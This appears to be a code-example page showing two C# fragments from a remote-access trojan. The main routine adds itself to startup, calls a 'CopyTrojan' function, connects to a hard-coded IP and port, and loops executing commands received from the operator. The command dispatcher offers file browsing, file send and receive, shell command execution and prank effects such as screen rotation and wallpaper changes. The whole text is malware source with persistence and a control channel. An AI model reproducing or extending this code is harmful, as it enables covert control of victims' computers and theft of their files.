Exemple #1
0
        public static void Main(string[] args)
        {
            Functions.AddStartUp();
            //Functions.DeleteStartUp();
            CMDCustom.CopyTrojan();

retry:
            try
            {
                TcpClient tcp = new TcpClient();
                tcp.Connect(System.Net.IPAddress.Parse("192.168.21.89"), 30021);
                NetworkStream stream = tcp.GetStream();

                Functions.SendUser(stream);

                while (true)
                {
                    String comm = Messages.ReceiveMessage(stream);
                    stream.Flush();

                    if ((int)Char.GetNumericValue(comm.ToCharArray()[0]) == 7)
                    {
                        break;
                    }

                    Functions.WorkCommand(comm, stream);
                }

                tcp.Close();
                goto retry;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.StackTrace);
                goto retry;
            }
        }
Exemple #2
0
        public static ICommand GetCommand(int command, NetworkStream stream)
        {
            switch (command)
            {
            case (Constants.NAVIGATE):
            {
                if (Nav == null)
                {
                    Nav = new Navigation(stream);
                }

                return(Nav);
            }

            case (Constants.INVERT):
            {
                if (MouseInv == null)
                {
                    MouseInv = new Inverter(true, true);
                }

                return(MouseInv);
            }

            case (Constants.RECFILE):
            {
                if (Get == null)
                {
                    Get = new GetFile(stream);
                }

                return(Get);
            }

            case (Constants.CHGBG):
            {
                if (BG == null)
                {
                    BG = new Wallpaper();
                }

                return(BG);
            }

            case (Constants.POPUP):
            {
                if (Show == null)
                {
                    Show = new ShowMessage();
                }

                return(Show);
            }

            case (Constants.ROT):
            {
                if (Rot == null)
                {
                    Rot = new Rotation();
                }

                return(Rot);
            }

            case (Constants.SENDFILE):
            {
                if (Send == null)
                {
                    Send = new SendFile(stream);
                }

                return(Send);
            }

            case (Constants.CMD):
            {
                if (cmd == null)
                {
                    cmd = new CMDCustom();
                }

                return(cmd);
            }
            }

            return(null);
        }